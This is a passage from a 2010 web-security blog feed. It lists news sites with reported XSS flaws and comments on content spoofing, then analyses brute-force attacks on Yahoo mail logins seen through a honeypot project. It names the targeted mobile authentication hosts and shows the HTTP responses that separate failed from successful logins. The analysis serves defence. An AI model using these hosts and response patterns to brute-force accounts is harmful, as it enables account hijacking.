notified by &lt;a href="/archive/author=nickhacks/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;nickhacks&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/60694/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;search.news.cn&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=nicobar/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;nicobar&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/64224/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;www.newsmill.se&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=Uber0n/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Uber&lt;/span&gt;0n&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/62934/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;news.uchicago.edu&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=nopic01/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;nopic&lt;/span&gt;01&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/54437/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;www.pdenewsroom.state.pa.us&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=Mystick/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;Mystick&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/53838/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;novinnews&lt;/span&gt;.com&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=Pouya_Server/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;Pouya&lt;/span&gt;_Server&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/53593/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;www.newscast.co.uk&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=Viper.aT/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;Viper.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;aT&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/52640/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;www.healthcareitnews.com&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=skathgh420/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;skathgh&lt;/span&gt;420&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/52783/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;blognetnews&lt;/span&gt;.com&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=GTADarkDude/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;GTADarkDude&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/63605/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;search.cyclingnews.com&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=Rohit Bansal/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;Rohit&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;Bansal&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/49858/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;news.president.am&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=By_Cyber/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;By_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;Cyber&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/58725/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;www.recentnews.co.uk&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=austinator/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;austinator&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/51885/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;media.49abcnews.com&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=xylitol/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;xylitol&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/54355/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;news.carnoc.com&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=xylitol/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;xylitol&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/59211/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;news.onekoreanews.net&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=Woo/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;Woo&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/55200/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;newshub.tucows.com&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=DaiMon/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;DaiMon&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/58758/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;www.newsvoyager.com&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=TheBig/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;TheBig&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/54531/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;www.hypernews.org&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=Mystick/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;Mystick&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/62159/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;newsroom.pse.com&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=LostBrilliance/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;LostBrilliance&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="/mirror/56064/" target="_blank" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;news.mediamarkt.de&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;XSS&lt;/span&gt; vulnerability notified by &lt;a href="/archive/author=zrok/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;zrok&lt;/span&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;a href="/archive/author=zrok/" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: rgb(43, 85, 162); text-decoration: none; font-weight: bold; "&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Keep in mind that &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;XSS&lt;/span&gt; vulnerabilities can be leveraged in many different types of attack outcomes.  In this case, we are talking about Content Spoofing of news stories however an attacker may also use the same attack vectors to try and install &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;malware&lt;/span&gt; onto victim's computers.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Besides &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;XSS&lt;/span&gt; vulnerabilities, Content Spoofing attacks can be carried out due to unauthorized access to web-based management interfaces.  For example, there have been news stories of improperly configured proxy servers that allowed external clients to gain access to the the internal network.  This in turn allowed them access to web-based news &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;submittal&lt;/span&gt; applications.  This is exactly what happened where &lt;a href="http://www.zdnet.co.uk/news/networking/2002/07/15/usa-today-investigating-hack-attack-2119086/"&gt;hacker Adrian &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;Lamo&lt;/span&gt; posted fake news stories&lt;/a&gt; on Yahoo's website.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-5711829285013592575?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/5711829285013592575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=5711829285013592575' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/5711829285013592575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/5711829285013592575'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/04/content-spoofing-not-just-april-fools.html' title='Content Spoofing - Not Just An April Fool&apos;s Day Attack'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_E0YEPhKPc2k/S7SowmEHBgI/AAAAAAAAAGY/R_B9b2mkBl4/s72-c/fake_news.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-8700009723773824067</id><published>2010-03-31T10:19:00.003-04:00</published><updated>2010-03-31T11:34:53.702-04:00</updated><title type='text'>Hijacking Yahoo Email Accounts Update</title><content type='html'>&lt;i&gt;Submitted by Ryan Barnett 03/31/2010&lt;/i&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There have been recent news reports of &lt;a href="http://www.nytimes.com/2010/03/31/world/asia/31china.html"&gt;journalists' Yahoo email accounts being hacked&lt;/a&gt;.  Andrew Jacobs of the New York Times reports:&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;i&gt;In what appears to be a coordinated assault, the e-mail accounts of  more than a dozen rights activists, academics and journalists who cover China &lt;/i&gt;&lt;i&gt;have been compromised by unknown intruders. A Chinese human rights  organization also said that hackers disabled its Web site for a fifth  straight day.  &lt;/i&gt;&lt;/p&gt; &lt;p&gt;&lt;i&gt; The infiltrations, which involved Yahoo &lt;/i&gt;&lt;i&gt;e-mail accounts, appeared to be aimed at people who write about China  and Taiwan, rendering their accounts inaccessible, according to those  who were affected. In the case of this reporter, hackers altered e-mail  settings so that all correspondence was surreptitiously forwarded to  another e-mail address.&lt;/i&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;  So, how were these Yahoo email account broken into?  The news article provides a possible scenario:&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;i&gt;Paul Wood, a senior analyst at the Symantec Corporation&lt;/i&gt;&lt;i&gt;, said a growing number of malignant viruses were  tailored to specific recipients, with the goal of tricking them into  opening attachments that would insert malware onto their computers. Mr.  Wood said his company, which designs anti-virus software, now blocks  about 60 such attacks each day, up from 1 or 2 a week in 2005. “They’re  very well crafted and extremely damaging,” he said.&lt;/i&gt;&lt;/blockquote&gt;&lt;i&gt;&lt;/i&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Targeted malware may very well have been the attack vector here, however I can't help but to also think about the &lt;a href="http://tacticalwebappsec.blogspot.com/2009/09/distributed-brute-force-attacks-against.html"&gt;Distributed Brute Force Attacks&lt;/a&gt; that we are seeing against Yahoo accounts through the &lt;a href="http://projects.webappsec.org/Distributed-Open-Proxy-Honeypots"&gt;WASC Distributed Open Proxy Honeypot Project&lt;/a&gt;.  Brute forcing login credentials is still quite an effective means of hijacking accounts.  As I outlined in the other blog post, attacker's have found that they can target a web services URL to conduct their attacks without any restrictions such a CAPTCHAs.  &lt;/p&gt;&lt;p&gt;Well, in addition to the web service authentication URLs, we are now also the attackers targeting mobile (WAP) authentication services.  Here are some of the different mobile Yahoo subdomains being targeted:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;i&gt;in.wap.yahoo.com&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;mlogin2.mobile.re4.yahoo.com&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;mobile1.login.vip.sp2.yahoo.com&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;my.rf.wap.yahoo.com&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;ph.wap.yahoo.com&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;sushi2.mobile.ch1.yahoo.com&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;webgw1.mobile.re3.yahoo.com&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;webgw3.mobile.re3.yahoo.com&lt;/i&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;&lt;div&gt;When a client sends credentials and it is a failed auth attempt, it looks like this:&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;HTTP/1.1 302 Found&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Date: Wed, 31 Mar 2010 14:49:03 GMT&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Expires: Mon, 26 Jul 1997 05:00:00 GMT&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Cache-Control: private, no-store, no-cache, must-revalidate&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Set-Cookie: B=emj89nt5r6o6v&amp;amp;b=3&amp;amp;s=lo; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Location: /p/login?.done=/p/&amp;amp;.pc=5135&amp;amp;.error=7&amp;amp;ignore=signin&amp;amp;ySiD=32CzS0e&lt;span class="Apple-style-span" style="font-family: Georgia, serif; font-style: normal; font-weight: normal; "&gt;&lt;i&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;2khOZCLqXwuFj&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Connection: close&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Transfer-Encoding: chunked&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Content-Type: text/html; charset=utf-8&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;!-- sushi21.mobile.sp1.yahoo.com uncompressed/chunked Wed Mar 31 14:49:03 GMT 2010 --&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;i&gt;&lt;/i&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Notice that the Location header sends the user back to a login URL with parameters indicating that there was an error.  In contrast, when a successful auth happens, the user is redirected to a different URL:&lt;/p&gt;&lt;p&gt;  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;HTTP/1.1 302 Found&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Date: Wed, 31 Mar 2010 14:48:46 GMT&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Expires: Mon, 26 Jul 1997 05:00:00 GMT&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Cache-Control: private, no-store, no-cache, must-revalidate&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Set-Cookie: B=derbda55r6o6e&amp;amp;b=3&amp;amp;s=ml; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;b&gt;Location: /p/?.data=LnlpZCUzZFU4ZjZDNWZRZ25vb2VkX19lZy0tJTI2Lnl0cyUzZDIw&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;b&gt;MTAwMzMxMTQ0ODQ3JTI2LnlndCUzZEhlbGxvIEh1Z2glMjYueWludGwlM2R1cy&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;b&gt;UyNi55Y28lM2R1cyUyNi55ZW0lM2RkYXZpc19odWdoQHlhaG9vLmNvbSUyNi55&lt;span class="Apple-style-span" style="font-family: Georgia, serif; font-style: normal; font-weight: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;b&gt;eW0lM2RkYXZpc19odWdoQHlhaG9vLmNvbSUyNi55bm0lM2RIdWdoIERhdmlzJTI&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, serif; font-style: normal; font-weight: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;b&gt;2LnloaWQlM2RkYXZpc19odWdoJTI2LnlyZWclM2QxMDY1NzA0NDc4&amp;amp;.ys=XkVVQ&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, serif; font-style: normal; font-weight: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;b&gt;zpv_oOsltCTiJwm3.c9zrQ-&amp;amp;ySiD=zmCzS9GqZrL1pVcmUygz&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Connection: close&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Transfer-Encoding: chunked&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Content-Type: text/html; charset=utf-8&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;!-- sushi20.mobile.sp1.yahoo.com uncompressed/chunked Wed Mar 31 14:48:46 GMT 2010 --&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i463.photobucket.com/albums/qq358/zlz_yeumaingannam_zlz/2bcycn7ddd8xsmb2dcid.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 232px; height: 520px;" src="http://i463.photobucket.com/albums/qq358/zlz_yeumaingannam_zlz/2bcycn7ddd8xsmb2dcid.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;It is interesting to note that the hacker underground is keeping track of all of these different authentication servers and the various authentication mechanisms in use.  Just do a google search for "&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=%22yahoo+servers+for+cracking%22&amp;amp;aq=f&amp;amp;aqi=&amp;amp;aql=&amp;amp;oq=&amp;amp;gs_rfai="&gt;Yahoo Servers for cracking&lt;/a&gt;" which will give you a huge list of users forums where hackers are listing both Yahoo authentication hosts and automated tools for brute forcing (such as the image on the right).&lt;/p&gt;&lt;p&gt;The lessons learned from this data is that there are many ways in which attackers may be able to hijack user's email accounts.  For organizations attempting to defend against these types of attacks, it is critical that all authentication mechanisms are identified and proper access control is implemented (specifically if end users are allow to 